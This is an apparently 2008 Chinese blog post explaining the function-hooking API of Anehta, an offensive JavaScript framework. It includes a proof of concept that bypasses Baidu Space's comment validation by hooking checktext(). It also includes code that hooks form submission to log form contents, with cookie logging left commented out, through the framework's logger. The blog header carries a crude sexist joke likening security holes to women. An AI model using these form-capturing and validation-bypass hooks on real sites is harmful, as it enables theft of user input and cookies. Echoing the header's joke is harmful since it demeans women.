Secur1ty just lik3 a girl. B0th of th3m h4ve s0me h0les. Y0u alw4ys try to f1nd the h0le, but n0t 3very tim3 y0u c4n 3xpl0it it!
查看文章 |
Anehta -- hook任意javascript函数
2008-10-27 02:54
其实,JS中最简单的hook是直接重载目标函数。在之前提到的“JSON Hijacking”中就是使用的这种方法。 简单来说,就是把目标函数重新定义一遍,这样就会覆盖掉原来的函数,当函数执行时,就会跑去执行新的函数了。 但是这种方法效率不高,且通用性不好,所以我在Anehta 中重新实现了一次通用的hook函数。 Anehta 中的hook方法包括三个:hook、unhook、injectFn 使用方法是: var hj = new anehta.inject.hookFunction(); var SaveTarget, HookFn; hj.hook('Target', 'SaveTarget', 'HookFn'); hj.injectFn('Target', 'SaveTarget', 'HookFn'); hj.unhook('Target', 'SaveTarget'); 实际上我在 base.js 中已经定义好了一个变量 var anehtaHook = new anehta.inject.hookFunction(); 所以在模块中使用hook方法,只需要直接调用 anehtaHook.hook(); 就可以了。 在上面的代码中,Target 是要hook的函数名字,比如目标函数是这么定义的: function Function1(){ ...... return; } 那么Target 就是 'Function1' SaveTarget 是保存原函数。就是说把hook前的函数保存到 SaveTarget 中。 而 HookFn 就是要插入的函数名称,比如要在Function1里面插入一个函数test function test(){ ...... } 那么HookFn 就是 'test' 这三个函数的区别是: hook() 会把原来传入参数传递给 HookFn 函数,然后HookFn 处理完成后,需要返回一个 Array 类型的值,这个Array类型的值,会作为新的参数传递给被hook的函数 Target. injectFn() 则不会传递参数给被Hook的函数,他只做自己的事情。 这两个函数都是在原函数执行前执行。如果你需要传递新的参数给原函数,请选用hook() unhook() 则是把被hook的函数恢复到hook前的状态。 以百度空间为例,在检查用户评论时,百度使用了如下函数 function checktext(textid) { document.getElementById(textid).value=trimlr(textid); var str=trimrn(textid); len=str.length; if(len==0 || ((/^[\s, ]+$/gi).test(str)) ) { showErr(3,"您必须输入评论内容,请检查。"); return false; } else { if(len>1000) { showErr(3,"您输入的评论内容太长,请保持在500字以内。"); return false; } return true; } } 那么我们要hook这个函数,就可以如下做: function test(a,b,c,d,e){ alert("Hooked!"); var ret = new Array("anehtaTestHook"); return ret; } // 保存原函数 var _function1; anehtaHook.hook('checktext', '_function1', 'test'); 这样原来的checktext()函数执行前,就会去执行我们的test()函数,然后test()函数把结果作为参数传递给checktext()函数。 正常情况下,如果我们不输入任何评论内容,则checktext函数会报错: ![]() 在我们hook后,可以发现先执行了hook的函数 ![]() 注意此时评论还是为空,但是我们接下来却由于 test() 函数传递了一个参数给 checktext() 函数,使得该函数认为我们的评论是不为空的,从而绕过了检查,直接向服务器提交。 ![]() 以上只是一个简单的POC,来演示hook的使用方法。 anehtaHook.hook() 是针对javascript函数的,甚至可以hook一些内置的javascript函数,比如 alert()、eval()、escape() 等等。 hook函数和绑定事件还是有所区别的。 表单的hook和一般函数的hook略有区别。表单的hook一般是绑定表单的onsubmit事件,如果是通过函数去提交表单,则也可以通过hook函数的方法来解决。 在 /module/hook.js 里,我演示了几种不同的方法hook表单。 前面两种是直接使用jQuery 绑定事件的方法。 第一种,如果form没有设置onsubmit事件,则直接绑定一个submit事件过去 $("form").bind("submit", function(){ anehta.logger.logForm($("form")[0]); } ); 第二种,直接绑定函数到submit事件 $("form[name='form1']").eq(0).submit(function(){ anehta.logger.logForm($("form[name='form1']")[0]); //anehta.logger.logCookie(); //return true; } ); 第三种,如果对方是通过函数提交,anehta中除了提供上面说到的通用hook外,专门针对表单hook还可以使用以下API: function injectSubmitFunc(o, param){ // your code here! alert(param); anehta.logger.logForm($("form")[0]); // 最后记得恢复表单的正常提交 if (o._submit != undefined) { o._submit(); // 被hook过了 } else { o.submit(); } } anehta.inject.hookSubmit($("form")[0], function (){injectSubmitFunc($("form")[0], "fvck");}); |